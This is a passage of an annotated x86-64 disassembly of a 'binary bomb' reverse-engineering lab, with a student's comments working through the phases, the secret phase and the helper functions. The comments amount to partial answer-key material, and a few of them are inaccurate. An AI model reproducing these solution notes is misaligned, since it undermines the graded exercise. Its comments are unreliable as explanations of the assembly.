mov %rax,%rdi 400ec6: e8 29 02 00 00 callq 4010f4 <phase_6> 400ecb: e8 f4 06 00 00 callq 4015c4 <phase_defused> 400ed0: b8 00 00 00 00 mov $0x0,%eax 400ed5: 5b pop %rbx 400ed6: c3 retq 400ed7: 90 nop 400ed8: 90 nop 400ed9: 90 nop 400eda: 90 nop 400edb: 90 nop 400edc: 90 nop 400edd: 90 nop 400ede: 90 nop 400edf: 90 nop 0000000000400ee0 <phase_1>: 400ee0: 48 83 ec 08 sub $0x8,%rsp 400ee4: be 00 24 40 00 mov $0x402400,%esi 400ee9: e8 4a 04 00 00 callq 401338 <strings_not_equal> # make (rdi) == (rsi) 400eee: 85 c0 test %eax,%eax # make eax == 0 to defuse 400ef0: 74 05 je 400ef7 <phase_1+0x17> 400ef2: e8 43 05 00 00 callq 40143a <explode_bomb> 400ef7: 48 83 c4 08 add $0x8,%rsp 400efb: c3 retq 0000000000400efc <phase_2>: 400efc: 55 push %rbp 400efd: 53 push %rbx 400efe: 48 83 ec 28 sub $0x28,%rsp # allocate 40 400f02: 48 89 e6 mov %rsp,%rsi # rsi = rsp 400f05: e8 52 05 00 00 callq 40145c <read_six_numbers> # 400f0a: 83 3c 24 01 cmpl $0x1,(%rsp) 400f0e: 74 20 je 400f30 <phase_2+0x34> # jump to line 375 400f10: e8 25 05 00 00 callq 40143a <explode_bomb> 400f15: eb 19 jmp 400f30 <phase_2+0x34> 400f17: 8b 43 fc mov -0x4(%rbx),%eax # eax = 1st argu, eax = 2st argu 400f1a: 01 c0 add %eax,%eax # eax *= 2 400f1c: 39 03 cmp %eax,(%rbx) # compare 2*eax with (rbx) 400f1e: 74 05 je 400f25 <phase_2+0x29> # jump to line 371 400f20: e8 15 05 00 00 callq 40143a <explode_bomb> 400f25: 48 83 c3 04 add $0x4,%rbx # rbx = 3rd argu 400f29: 48 39 eb cmp %rbp,%rbx # not equal 400f2c: 75 e9 jne 400f17 <phase_2+0x1b> # jump to line 366 400f2e: eb 0c jmp 400f3c <phase_2+0x40> 400f30: 48 8d 5c 24 04 lea 0x4(%rsp),%rbx # rbx = 2nd argu 400f35: 48 8d 6c 24 18 lea 0x18(%rsp),%rbp # rbp = skip+56 400f3a: eb db jmp 400f17 <phase_2+0x1b> # jump to line 366 400f3c: 48 83 c4 28 add $0x28,%rsp 400f40: 5b pop %rbx 400f41: 5d pop %rbp 400f42: c3 retq 0000000000400f43 <phase_3>: 400f43: 48 83 ec 18 sub $0x18,%rsp # allocate 24 400f47: 48 8d 4c 24 0c lea 0xc(%rsp),%rcx # rcx = rsp + 12 400f4c: 48 8d 54 24 08 lea 0x8(%rsp),%rdx # rdx = rsp + 8 400f51: be cf 25 40 00 mov $0x4025cf,%esi # "%d %d" 400f56: b8 00 00 00 00 mov $0x0,%eax # eax = 0 400f5b: e8 90 fc ff ff callq 400bf0 <__isoc99_sscanf@plt> 400f60: 83 f8 01 cmp $0x1,%eax 400f63: 7f 05 jg 400f6a <phase_3+0x27> # jump to line 393 400f65: e8 d0 04 00 00 callq 40143a <explode_bomb> 400f6a: 83 7c 24 08 07 cmpl $0x7,0x8(%rsp) # compare 1st with 7 400f6f: 77 3c ja 400fad <phase_3+0x6a> # explode 400f71: 8b 44 24 08 mov 0x8(%rsp),%eax # eax = 1st argu 400f75: ff 24 c5 70 24 40 00 jmpq *0x402470(,%rax,8) # jump to *0x402470 + rax * 8 400f7c: b8 cf 00 00 00 mov $0xcf,%eax # switch statement 400f81: eb 3b jmp 400fbe <phase_3+0x7b> 400f83: b8 c3 02 00 00 mov $0x2c3,%eax 400f88: eb 34 jmp 400fbe <phase_3+0x7b> 400f8a: b8 00 01 00 00 mov $0x100,%eax 400f8f: eb 2d jmp 400fbe <phase_3+0x7b> 400f91: b8 85 01 00 00 mov $0x185,%eax 400f96: eb 26 jmp 400fbe <phase_3+0x7b> 400f98: b8 ce 00 00 00 mov $0xce,%eax 400f9d: eb 1f jmp 400fbe <phase_3+0x7b> 400f9f: b8 aa 02 00 00 mov $0x2aa,%eax # 400fa4: eb 18 jmp 400fbe <phase_3+0x7b> 400fa6: b8 47 01 00 00 mov $0x147,%eax 400fab: eb 11 jmp 400fbe <phase_3+0x7b> 400fad: e8 88 04 00 00 callq 40143a <explode_bomb> 400fb2: b8 00 00 00 00 mov $0x0,%eax 400fb7: eb 05 jmp 400fbe <phase_3+0x7b> 400fb9: b8 37 01 00 00 mov $0x137,%eax 400fbe: 3b 44 24 0c cmp 0xc(%rsp),%eax # make eax == rsp + 12 400fc2: 74 05 je 400fc9 <phase_3+0x86> 400fc4: e8 71 04 00 00 callq 40143a <explode_bomb> 400fc9: 48 83 c4 18 add $0x18,%rsp 400fcd: c3 retq 0000000000400fce <func4>: 400fce: 48 83 ec 08 sub $0x8,%rsp 400fd2: 89 d0 mov %edx,%eax # eax = edx (eax == 14) 400fd4: 29 f0 sub %esi,%eax # eax = eax - esi 400fd6: 89 c1 mov %eax,%ecx # ecx = eax 400fd8: c1 e9 1f shr $0x1f,%ecx # >>> 31 get highest bit of rcx 400fdb: 01 c8 add %ecx,%eax # eax = eax + ecx 400fdd: d1 f8 sar %eax # eax >> 1 (eax / 2) 400fdf: 8d 0c 30 lea (%rax,%rsi,1),%ecx # ecx = rax + rsi 400fe2: 39 f9 cmp %edi,%ecx # ecx <= edi (edi 是第一个arg,ecx好像是eax的一半) 400fe4: 7e 0c jle 400ff2 <func4+0x24> # jump to line 438 400fe6: 8d 51 ff lea -0x1(%rcx),%edx # edx = rcx - 1(每次递归eax / 2 - 1) 400fe9: e8 e0 ff ff ff callq 400fce <func4> # recursive call 400fee: 01 c0 add %eax,%eax 400ff0: eb 15 jmp 401007 <func4+0x39> # exit func 400ff2: b8 00 00 00 00 mov $0x0,%eax # eax = 0 400ff7: 39 f9 cmp %edi,%ecx # ecx >= edi 400ff9: 7d 0c jge 401007 <func4+0x39> # exit func 400ffb: 8d 71 01 lea 0x1(%rcx),%esi # esi = rcx + 1 400ffe: e8 cb ff ff ff callq 400fce <func4> # recursive call 401003: 8d 44 00 01 lea 0x1(%rax,%rax,1),%eax # explode when eax == 1 401007: 48 83 c4 08 add $0x8,%rsp 40100b: c3 retq 000000000040100c <phase_4>: 40100c: 48 83 ec 18 sub $0x18,%rsp 401010: 48 8d 4c 24 0c lea 0xc(%rsp),%rcx 401015: 48 8d 54 24 08 lea 0x8(%rsp),%rdx 40101a: be cf 25 40 00 mov $0x4025cf,%esi 40101f: b8 00 00 00 00 mov $0x0,%eax 401024: e8 c7 fb ff ff callq 400bf0 <__isoc99_sscanf@plt> 401029: 83 f8 02 cmp $0x2,%eax 40102c: 75 07 jne 401035 <phase_4+0x29> 40102e: 83 7c 24 08 0e cmpl $0xe,0x8(%rsp) 401033: 76 05 jbe 40103a <phase_4+0x2e> 401035: e8 00 04 00 00 callq 40143a <explode_bomb> 40103a: ba 0e 00 00 00 mov $0xe,%edx # edx = 0xe 40103f: be 00 00 00 00 mov $0x0,%esi # esi = 0 401044: 8b 7c 24 08 mov 0x8(%rsp),%edi # edi = 1st argu 401048: e8 81 ff ff ff callq 400fce <func4> 40104d: 85 c0 test %eax,%eax # rax should be 0 40104f: 75 07 jne 401058 <phase_4+0x4c> 401051: 83 7c 24 0c 00 cmpl $0x0,0xc(%rsp) # 2nd argu should be 0 401056: 74 05 je 40105d <phase_4+0x51> 401058: e8 dd 03 00 00 callq 40143a <explode_bomb> 40105d: 48 83 c4 18 add $0x18,%rsp 401061: c3 retq 0000000000401062 <phase_5>: 401062: 53 push %rbx 401063: 48 83 ec 20 sub $0x20,%rsp # allocate 32 401067: 48 89 fb mov %rdi,%rbx # rbx = 1st argu 40106a: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax # read canary 401071: 00 00 401073: 48 89 44 24 18 mov %rax,0x18(%rsp) # store canary to stack 401078: 31 c0 xor %eax,%eax # zero out rax 40107a: e8 9c 02 00 00 callq 40131b <string_length> # compute string length of 1st argu 40107f: 83 f8 06 cmp $0x6,%eax # check if it equals 6 401082: 74 4e je 4010d2 <phase_5+0x70> # je to line 503 401084: e8 b1 03 00 00 callq 40143a <explode_bomb> 401089: eb 47 jmp 4010d2 <phase_5+0x70> 40108b: 0f b6 0c 03 movzbl (%rbx,%rax,1),%ecx # move rax-th character of 1st argu to rcx 40108f: 88 0c 24 mov %cl,(%rsp) # store rcx on stack, rcx is a char 401092: 48 8b 14 24 mov (%rsp),%rdx # rdx = rcx 401096: 83 e2 0f and $0xf,%edx # get low-order 4 bits of rdx, 0x8 for 0x68 401099: 0f b6 92 b0 24 40 00 movzbl 0x4024b0(%rdx),%edx # *** move a value in array (0x4024b0 + rdx) to rdx *** 4010a0: 88 54 04 10 mov %dl,0x10(%rsp,%rax,1) # store 1 byte rdx on stack (rsp + 16 + rax) 4010a4: 48 83 c0 01 add $0x1,%rax # rax++ 4010a8: 48 83 f8 06 cmp $0x6,%rax # if rax == 6 4010ac: 75 dd jne 40108b <phase_5+0x29> # jne to line 485 4010ae: c6 44 24 16 00 movb $0x0,0x16(%rsp) # move 0 to rsp+22 4010b3: be 5e 24 40 00 mov $0x40245e,%esi # *** move 0x737265796c66 to esi *** 4010b8: 48 8d 7c 24 10 lea 0x10(%rsp),%rdi 4010bd: e8 76 02 00 00 callq 401338 <strings_not_equal> # compare my argu to esi 4010c2: 85 c0 test %eax,%eax 4010c4: 74 13 je 4010d9 <phase_5+0x77> # je to line 505 4010c6: e8 6f 03 00 00 callq 40143a <explode_bomb> 4010cb: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1) 4010d0: eb 07 jmp 4010d9 <phase_5+0x77> 4010d2: b8 00 00 00 00 mov $0x0,%eax # zero out rax 4010d7: eb b2 jmp 40108b <phase_5+0x29> # jmp to line 485 4010d9: 48 8b 44 24 18 mov 0x18(%rsp),%rax # 4010de: 64 48 33 04 25 28 00 xor %fs:0x28,%rax 4010e5: 00 00 4010e7: 74 05 je 4010ee <phase_5+0x8c> # exit phase 4010e9: e8 42 fa ff ff callq 400b30 <__stack_chk_fail@plt> 4010ee: 48 83 c4 20 add $0x20,%rsp 4010f2: 5b pop %rbx 4010f3: c3 retq 00000000004010f4 <phase_6>: 4010f4: 41 56 push %r14 4010f6: 41 55 push %r13 4010f8: 41 54 push %r12 4010fa: 55 push %rbp 4010fb: 53 push %rbx 4010fc: 48 83 ec 50 sub $0x50,%rsp 401100: 49 89 e5 mov %rsp,%r13 401103: 48 89 e6 mov %rsp,%rsi 401106: e8 51 03 00 00 callq 40145c <read_six_numbers> 40110b: 49 89 e6 mov %rsp,%r14 # r14 = 1st argu 40110e: 41 bc 00 00 00 00 mov $0x0,%r12d # r12 = 0 401114: 4c 89 ed mov %r13,%rbp # rbp == r13 == &1st argu 401117: 41 8b 45 00 mov 0x0(%r13),%eax # rax = 1st argu 40111b: 83 e8 01 sub $0x1,%eax # rax-- 40111e: 83 f8 05 cmp $0x5,%eax 401121: 76 05 jbe 401128 <phase_6+0x34> # rax <= 5, jump to next 401123: e8 12 03 00 00 callq 40143a <explode_bomb> # 1st argu must be lower than 7 401128: 41 83 c4 01 add $0x1,%r12d # r12++ 40112c: 41 83 fc 06 cmp $0x6,%r12d 401130: 74 21 je 401153 <phase_6+0x5f> # r12 == 6, jump to line 548 401132: 44 89 e3 mov %r12d,%ebx # rbx = r12 401135: 48 63 c3 movslq %ebx,%rax # sign move, rax = rbx 401138: 8b 04 84 mov (%rsp,%rax,4),%eax # rax = next value in stack 40113b: 39 45 00 cmp %eax,0x0(%rbp) 40113e: 75 05 jne 401145 <phase_6+0x51> # (rbp) != rax, jne to next 401140: e8 f5 02 00 00 callq 40143a <explode_bomb> 401145: 83 c3 01 add $0x1,%ebx # rbx++ 401148: 83 fb 05 cmp $0x5,%ebx 40114b: 7e e8 jle 401135 <phase_6+0x41> # rbx <= 5, jump to line 536 40114d: 49 83 c5 04 add $0x4,%r13 # r13 = r13 + 4 (rbx >= 6) 401151: eb c1 jmp 401114 <phase_6+0x20> # jump to line 526 # it seems like codes above are checking whether there are duplicate numbers in 6-number input # if no duplicate then go on 401153: 48 8d 74 24 18 lea 0x18(%rsp),%rsi # 7th in stack 401158: 4c 89 f0 mov %r14,%rax # address of 1st argu 40115b: b9 07 00 00 00 mov $0x7,%ecx # rcx = 7 401160: 89 ca mov %ecx,%edx # rdx = 7 401162: 2b 10 sub (%rax),%edx # rdx = rdx - 1st argu 401164: 89 10 mov %edx,(%rax) # (rax) = rdx 401166: 48 83 c0 04 add $0x4,%rax # rax + 4 40116a: 48 39 f0 cmp %rsi,%rax 40116d: 75 f1 jne 401160 <phase_6+0x6c> # rax != rsi, jump back to line 551 # codes above: for all args, args = 7 - args 40116f: be 00 00 00 00 mov $0x0,%esi # rsi = 0 401174: eb 21 jmp 401197 <phase_6+0xa3> # jump to line 570 401176: 48 8b 52 08 mov 0x8(%rdx),%rdx # node = node.next 40117a: 83 c0 01 add $0x1,%eax # eax++ 40117d: 39 c8 cmp %ecx,%eax 40117f: 75 f5 jne 401176 <phase_6+0x82> # rax != rcx, jump back to line 560 401181: eb 05 jmp 401188 <phase_6+0x94> # rax == rcx, jump to line 566 401183: ba d0 32 60 00 mov $0x6032d0,%edx # head of linked list 401188: 48 89 54 74 20 mov %rdx,0x20(%rsp,%rsi,2) # rsi * 2 + rsp + 32 = rdx 40118d: 48 83 c6 04 add $0x4,%rsi # rsi += 4 401191: 48 83 fe 18 cmp $0x18,%rsi 401195: 74 14 je 4011ab <phase_6+0xb7> # rsi == 24 (loop 6 times), jump to line 577 401197: 8b 0c 34 mov (%rsp,%rsi,1),%ecx # rcx = rsi + rsp 40119a: 83 f9 01 cmp $0x1,%ecx 40119d: 7e e4 jle 401183 <phase_6+0x8f> # rcx <= 1, jump back to line 565 40119f: b8 01 00 00 00 mov $0x1,%eax # rax = 1 4011a4: ba d0 32 60 00 mov $0x6032d0,%edx # head of linked list 4011a9: eb cb jmp 401176 <phase_6+0x82> # jump back to line 560 # it seems like a linked list is written to stack 4011ab: 48 8b 5c 24 20 mov 0x20(%rsp),%rbx # rbx = node1 4011b0: 48 8d 44 24 28 lea 0x28(%rsp),%rax # rax = *node2 4011b5: 48 8d 74 24 50 lea 0x50(%rsp),%rsi # rsi = ddd0 4011ba: 48 89 d9 mov %rbx,%rcx # rcx = node1 4011bd: 48 8b 10 mov (%rax),%rdx # rdx = node2 4011c0: 48 89 51 08 mov %rdx,0x8(%rcx) # (node1 + 8) = node2 4011c4: 48 83 c0 08 add $0x8,%rax # rax = *node3 4011c8: 48 39 f0 cmp %rsi,%rax 4011cb: 74 05 je 4011d2 <phase_6+0xde> # *node3 == ddd0,jump to line 588 4011cd: 48 89 d1 mov %rdx,%rcx # rcx = rcx.next 4011d0: eb eb jmp 4011bd <phase_6+0xc9> # jump back to line 581 4011d2: 48 c7 42 08 00 00 00 movq $0x0,0x8(%rdx) # (ddd0) = 0 4011d9: 00 # codes below seems like comparing 2 node each time in a loop and if lower then explode 4011da: bd 05 00 00 00 mov $0x5,%ebp # rbp = 5 4011df: 48 8b 43 08 mov 0x8(%rbx),%rax # ddd0 = node1 + 8 = node2 4011e3: 8b 00 mov (%rax),%eax # rax = node2.value 4011e5: 39 03 cmp %eax,(%rbx) 4011e7: 7d 05 jge 4011ee <phase_6+0xfa> # (rbx) >= rax, jump to line 596 4011e9: e8 4c 02 00 00 callq 40143a <explode_bomb> 4011ee: 48 8b 5b 08 mov 0x8(%rbx),%rbx # rbx = node2 4011f2: 83 ed 01 sub $0x1,%ebp # rbp-- 4011f5: 75 e8 jne 4011df <phase_6+0xeb> # rbp != 1, jump back to line 591 4011f7: 48 83 c4 50 add $0x50,%rsp 4011fb: 5b pop %rbx 4011fc: 5d pop %rbp 4011fd: 41 5c pop %r12 4011ff: 41 5d pop %r13 401201: 41 5e pop %r14 401203: c3 retq 0000000000401204 <fun7>: 401204: 48 83 ec 08 sub $0x8,%rsp 401208: 48 85 ff test %rdi,%rdi 40120b: 74 2b je 401238 <fun7+0x34> 40120d: 8b 17 mov (%rdi),%edx 40120f: 39 f2 cmp %esi,%edx 401211: 7e 0d jle 401220 <fun7+0x1c> 401213: 48 8b 7f 08 mov 0x8(%rdi),%rdi 401217: e8 e8 ff ff ff callq 401204 <fun7> 40121c: 01 c0 add %eax,%eax 40121e: eb 1d jmp 40123d <fun7+0x39> 401220: b8 00 00 00 00 mov $0x0,%eax 401225: 39 f2 cmp %esi,%edx 401227: 74 14 je 40123d <fun7+0x39> 401229: 48 8b 7f 10 mov 0x10(%rdi),%rdi 40122d: e8 d2 ff ff ff callq 401204 <fun7> 401232: 8d 44 00 01 lea 0x1(%rax,%rax,1),%eax 401236: eb 05 jmp 40123d <fun7+0x39> 401238: b8 ff ff ff ff mov $0xffffffff,%eax 40123d: 48 83 c4 08 add $0x8,%rsp 401241: c3 retq 0000000000401242 <secret_phase>: 401242: 53 push %rbx 401243: e8 56 02 00 00 callq 40149e <read_line> 401248: ba 0a 00 00 00 mov $0xa,%edx 40124d: be 00 00 00 00 mov $0x0,%esi 401252: 48 89 c7 mov %rax,%rdi 401255: e8 76 f9 ff ff callq 400bd0 <strtol@plt> 40125a: 48 89 c3 mov %rax,%rbx 40125d: 8d 40 ff lea -0x1(%rax),%eax 401260: 3d e8 03 00 00 cmp $0x3e8,%eax 401265: 76 05 jbe 40126c <secret_phase+0x2a> 401267: e8 ce 01 00 00 callq 40143a <explode_bomb> 40126c: 89 de mov %ebx,%esi 40126e: bf f0 30 60 00 mov $0x6030f0,%edi 401273: e8 8c ff ff ff callq 401204 <fun7> 401278: 83 f8 02 cmp $0x2,%eax 40127b: 74 05 je 401282 <secret_phase+0x40> 40127d: e8 b8 01 00 00 callq 40143a <explode_bomb> 401282: bf 38 24 40 00 mov $0x402438,%edi 401287: e8 84 f8 ff ff callq 400b10 <puts@plt> 40128c: e8 33 03 00 00 callq 4015c4 <phase_defused> 401291: 5b pop %rbx 401292: c3 retq 401293: 90 nop 401294: 90 nop 401295: 90 nop 401296: 90 nop 401297: 90 nop 401298: 90 nop 401299: 90 nop 40129a: 90 nop 40129b: 90 nop 40129c: 90 nop 40129d: 90 nop 40129e: 90 nop 40129f: 90 nop 00000000004012a0 <sig_handler>: 4012a0: 48 83 ec 08 sub $0x8,%rsp 4012a4: bf c0 24 40 00 mov $0x4024c0,%edi 4012a9: e8 62 f8 ff ff callq 400b10 <puts@plt> 4012ae: bf 03 00 00 00 mov $0x3,%edi 4012b3: e8 98 f9 ff ff callq 400c50 <sleep@plt> 4012b8: be 82 25 40 00 mov $0x402582,%esi 4012bd: bf 01 00 00 00 mov $0x1,%edi 4012c2: b8 00 00 00 00 mov $0x0,%eax 4012c7: e8 34 f9 ff ff callq 400c00 <__printf_chk@plt> 4012cc: 48 8b 3d 6d 24 20 00 mov 0x20246d(%rip),%rdi # 603740 <stdout@@GLIBC_2.2.5> 4012d3: e8 08 f9 ff ff callq 400be0 <fflush@plt> 4012d8: bf 01 00 00 00 mov $0x1,%edi 4012dd: e8 6e f9 ff ff callq 400c50 <sleep@plt> 4012e2: bf 8a 25 40 00 mov $0x40258a,%edi 4012e7: e8 24 f8 ff ff callq 400b10 <puts@plt> 4012ec: bf 10 00 00 00 mov $0x10,%edi 4012f1: e8 2a f9 ff ff callq 400c20 <exit@plt> 00000000004012f6 <invalid_phase>: 4012f6: 48 83 ec 08 sub $0x8,%rsp 4012fa: 48 89 fa mov %rdi,%rdx 4012fd: be 92 25 40 00 mov $0x402592,%esi 401302: bf 01 00 00 00 mov $0x1,%edi 401307: b8 00 00 00 00 mov $0x0,%eax 40130c: e8 ef f8 ff ff callq 400c00 <__printf_chk@plt> 401311: bf 08 00 00 00 mov $0x8,%edi 401316: e8 05 f9 ff ff callq 400c20 <exit@plt> 000000000040131b <string_length>: 40131b: 80 3f 00 cmpb $0x0,(%rdi) 40131e: 74 12 je 401332 <string_length+0x17> 401320: 48 89 fa mov %rdi,%rdx 401323: 48 83 c2 01 add $0x1,%rdx 401327: 89 d0 mov %edx,%eax 401329: 29 f8 sub %edi,%eax 40132b: 80 3a 00 cmpb $0x0,(%rdx) 40132e: 75 f3 jne 401323 <string_length+0x8> 401330: f3 c3 repz retq 401332: b8 00 00 00 00 mov $0x0,%eax 401337: c3 retq 0000000000401338 <strings_not_equal>: 401338: 41 54 push %r12 40133a: 55 push %rbp 40133b: 53 push %rbx 40133c: 48 89 fb mov %rdi,%rbx 40133f: 48 89 f5 mov %rsi,%rbp 401342: e8 d4 ff ff ff callq 40131b <string_length> 401347: 41 89 c4 mov %eax,%r12d 40134a: 48 89 ef mov %rbp,%rdi 40134d: e8 c9 ff ff ff callq 40131b <string_length> 401352: ba 01 00 00 00 mov $0x1,%edx 401357: 41 39 c4 cmp %eax,%r12d 40135a: 75 3f jne 40139b <strings_not_equal+0x63> 40135c: 0f b6 03 movzbl (%rbx),%eax 40135f: 84 c0 test %al,%al 401361: 74 25 je 401388 <strings_not_equal+0x50> 401363: 3a 45 00 cmp 0x0(%rbp),%al 401366: 74 0a je 401372 <strings_not_equal+0x3a> 401368: eb 25 jmp 40138f <strings_not_equal+0x57> 40136a: 3a 45 00 cmp 0x0(%rbp),%al 40136d: 0f 1f 00 nopl (%rax) 401370: 75 24 jne 401396 <strings_not_equal+0x5e> 401372: 48 83 c3 01 add $0x1,%rbx 401376: 48 83 c5 01 add $0x1,%rbp 40137a: 0f b6 03 movzbl (%rbx),%eax 40137d: 84 c0 test %al,%al 40137f: 75 e9 jne 40136a <strings_not_equal+0x32> 401381: ba 00 00 00 00 mov $0x0,%edx 401386: eb 13 jmp 40139b <strings_not_equal+0x63> 401388: ba 00 00 00 00 mov $0x0,%edx 40138d: eb 0c jmp 40139b <strings_not_equal+0x63> 40138f: ba 01 00 00 00 mov $0x1,%edx 401394: eb 05 jmp 40139b <strings_not_equal+0x63> 401396: ba 01 00 00 00 mov $0x1,%edx 40139b: 89 d0 mov %edx,%eax 40139d: 5b pop %rbx 40139e: 5d pop %rbp 40139f: 41 5c pop %r12 4013a1: c3 retq 00000000004013a2 <initialize_bomb>: 4013a2: 48 83 ec 08 sub $0x8,%rsp 4013a6: be a0 12 40 00 mov $0x4012a0,%esi 4013ab: bf 02 00 00 00 mov $0x2,%edi 4013b0: e8 db f7 ff ff callq 400b90 <signal@plt> 4013b5: 48 83 c4 08 add $0x8,%rsp 4013b9: c3 retq 00000000004013ba <initialize_bomb_solve>: 4013ba: f3 c3 repz retq 00000000004013bc <blank_line>: 4013bc: 55 push %rbp 4013bd: 53 push %rbx 4013be: 48 83 ec 08 sub $0x8,%rsp 4013c2: 48 89 fb mov %rdi,%rbx 4013c5: eb 17 jmp 4013de <blank_line+0x22> 4013c7: e8 94 f8 ff ff callq 400c60 <__ctype_b_loc@plt> 4013cc: 48 83 c3 01 add $0x1,%rbx 4013d0: 48 0f be ed movsbq %bpl,%rbp 4013d4: 48 8b 00 mov (%rax),%rax 4013d7: f6 44 68 01 20 testb $0x20,0x1(%rax,%rbp,2) 4013dc: 74 0f je 4013ed <blank_line+0x31> 4013de: 0f b6 2b movzbl (%rbx),%ebp 4013e1: 40 84 ed test %bpl,%bpl 4013e4: 75 e1 jne 4013c7 <blank_line+0xb> 4013e6: b8 01 00 00 00 mov $0x1,%eax 4013eb: eb 05 jmp 4013f2 <blank_line+0x36> 4013ed: b8 00 00 00 00 mov $0x0,%eax 4013f2: 48 83 c4 08 add $0x8,%rsp 4013f6: 5b pop %rbx 4013f7: 5d pop %rbp 4013f8: c3 retq 00000000004013f9 <skip>: 4013f9: 53 push %rbx 4013fa: 48 63 05 5f 23 20 00 movslq 0x20235f(%rip),%rax # 603760 <num_input_strings> 401401: 48 8d 3c 80 lea (%rax,%rax,4),%rdi 401405: 48 c1 e7 04 shl $0x4,%rdi 401409: 48 81 c7 80 37 60 00 add $0x603780,%rdi 401410: 48 8b 15 51 23 20 00 mov 0x202351(%rip),%rdx # 603768 <infile> 401417: be 50 00 00 00 mov $0x50,%esi 40141c: e8 5f f7 ff ff callq 400b80 <fgets@plt> 401421: 48 89 c3 mov %rax,%rbx 401424: 48 85 c0 test %rax,%rax 401427: 74 0c je 401435 <skip+0x3c> 401429: 48 89 c7 mov %rax,%rdi 40142c: e8 8b ff ff ff callq 4013bc <blank_line> 401431: 85 c0 test %eax,%eax 401433: 75 c5 jne 4013fa <skip+0x1> 401435: 48 89 d8 mov %rbx,%rax 401438: 5b pop %rbx 401439: c3 retq 000000000040143a <explode_bomb>: 40143a: 48 83 ec 08 sub $0x8,%rsp 40143e: bf a3 25 40 00 mov $0x4025a3,%edi 401443: e8 c8 f6 ff ff callq 400b10 <puts@plt> 401448: bf ac 25 40 00 mov $0x4025ac,%edi 40144d: e8 be f6 ff ff callq 400b10 <puts@plt> 401452: bf 08 00 00 00 mov $0x8,%edi 401457: e8 c4 f7 ff ff callq 400c20 <exit@plt> 000000000040145c <read_six_numbers>: 40145c: 48 83 ec 18 sub $0x18,%rsp # allocate 24 bits 401460: 48 89 f2 mov %rsi,%rdx # rdx = rsi 401463: 48 8d 4e 04 lea 0x4(%rsi),%rcx # rcx = rsi + 4 401467: 48 8d 46 14 lea 0x14(%rsi),%rax # rax = rsi + 14 40146b: 48 89 44 24 08 mov %rax,0x8(%rsp) # rsp + 0x8 = rax 401470: 48 8d 46 10 lea 0x10(%rsi),%rax # rax = rsi + 10 401474: 48 89 04 24 mov %rax,(%rsp) # (rsp) = rax 401478: 4c 8d 4e 0c lea 0xc(%rsi),%r9 # r9 = rsi + 0xc 40147c: 4c 8d 46 08 lea 0x8(%rsi),%r8 # r8 = rsi + 0x8 401480: be c3 25 40 00 mov $0x4025c3,%esi # esi = 0x4025c3 401485: b8 00 00 00 00 mov $0x0,%eax # eax = 0x0 40148a: e8 61 f7 ff ff callq 400bf0 <__isoc99_sscanf@plt> 40148f: 83 f8 05 cmp $0x5,%eax # eax > 0x5 401492: 7f 05 jg 401499 <read_six_numbers+0x3d> 401494: e8 a1 ff ff ff callq 40143a <explode_bomb> 401499: 48 83 c4 18 add $0x18,%rsp 40149d: c3 retq 000000000040149e <read_line>: 40149e: 48 83 ec 08 sub $0x8,%rsp 4014a2: b8 00 00 00 00 mov $0x0,%eax 4014a7: e8 4d ff ff ff callq 4013f9 <skip> 4014ac: 48 85 c0 test %rax,%rax 4014af: 75 6e jne 40151f <read_line+0x81> 4014b1: 48 8b 05 90 22 20 00 mov 0x202290(%rip),%rax # 603748 <stdin@@GLIBC_2.2.5> 4014b8: 48 39 05 a9 22 20 00 cmp %rax,0x2022a9(%rip) # 603768 <infile> 4014bf: 75 14 jne 4014d5 <read_line+0x37> 4014c1: bf d5 25 40 00 mov $0x4025d5,%edi 4014c6: e8 45 f6 ff ff callq 400b10 <puts@plt> 4014cb: bf 08 00 00 00 mov $0x8,%edi 4014d0: e8 4b f7 ff ff callq 400c20 <exit@plt> 4014d5: bf f3 25 40 00 mov $0x4025f3,%edi 4014da: e8 01 f6 ff ff callq 400ae0 <getenv@plt> 4014df: 48 85 c0 test %rax,%rax 4014e2: 74 0a je 4014ee <read_line+0x50> 4014e4: bf 00 00 00 00 mov $0x0,%edi 4014e9: e8 32 f7 ff ff callq 400c20 <exit@plt> 4014ee: 48 8b 05 53 22 20 00 mov 0x202253(%rip),%rax # 603748 <stdin@@GLIBC_2.2.5> 4014f5: 48 89 05 6c 22 20 00 mov %rax,0x20226c(%rip) # 603768 <infile> 4014fc: b8 00 00 00 00 mov $0x0,%eax 401501: e8 f3 fe ff ff callq 4013f9 <skip> 401506: 48 85 c0 test %rax,%rax 401509: 75 14 jne 40151f <read_line+0x81> 40150b: bf d5 25 40 00 mov $0x4025d5,%edi 401510: e8 fb f5 ff ff callq 400b10 <puts@plt> 401515: bf 00 00 00 00 mov $0x0,%edi 40151a: e8 01 f7 ff ff callq 400c20 <exit@plt> 40151f: 8b 15 3b 22 20 00 mov 0x20223b(%rip),%edx # 603760 <num_input_strings> 401525: 48 63 c2 movslq %edx,%rax 401528: 48 8d 34 80 lea (%rax,%rax,4),%rsi 40152c: 48 c1 e6 04 shl $0x4,%rsi 401530: 48 81 c6 80 37 60 00 add $0x603780,%rsi 401537: 48 89 f7 mov %rsi,%rdi 40153a: b8 00 00 00 00 mov $0x0,%eax 40153f: 48 c7 c1 ff ff ff ff mov $0xffffffffffffffff,%rcx 401546: f2 ae repnz scas %es:(%rdi),%al 401548: 48 f7 d1 not %rcx 40154b: 48 83 e9 01 sub $0x1,%rcx 40154f: 83 f9 4e cmp $0x4e,%ecx 401552: 7e 46 jle 40159a <read_line+0xfc> 401554: bf fe 25 40 00 mov $0x4025fe,%edi 401559: e8 b2 f5 ff ff callq 400b10 <puts@plt> 40155e: 8b 05 fc 21 20 00 mov 0x2021fc(%rip),%eax # 603760 <num_input_strings> 401564: 8d 50 01 lea 0x1(%rax),%edx 401567: 89 15 f3 21 20 00 mov %edx,0x2021f3(%rip) # 603760 <num_input_strings> 40156d: 48 98 cltq 40156f: 48 6b c0 50 imul $0x50,%rax,%rax 401573: 48 bf 2a 2a 2a 74 72 movabs $0x636e7572742a2a2a,%rdi 40157a: 75 6e 63 40157d: 48 89 b8 80 37 60 00 mov %rdi,0x603780(%rax) 401584: 48 bf 61 74 65 64 2a movabs $0x2a2a2a64657461,%rdi 40158b: 2a 2a 00 40158e: 48 89 b8 88 37 60 00 mov %rdi,0x603788(%rax) 401595: e8 a0 fe ff ff callq 40143a <explode_bomb> 40159a: 83 e9 01 sub $0x1,%ecx 40159d: 48 63 c9 movslq %ecx,%rcx 4015a0: 48 63 c2 movslq %edx,%rax 4015a3: 48 8d 04 80 lea (%rax,%rax,4),%rax 4015a7: 48 c1 e0 04 shl 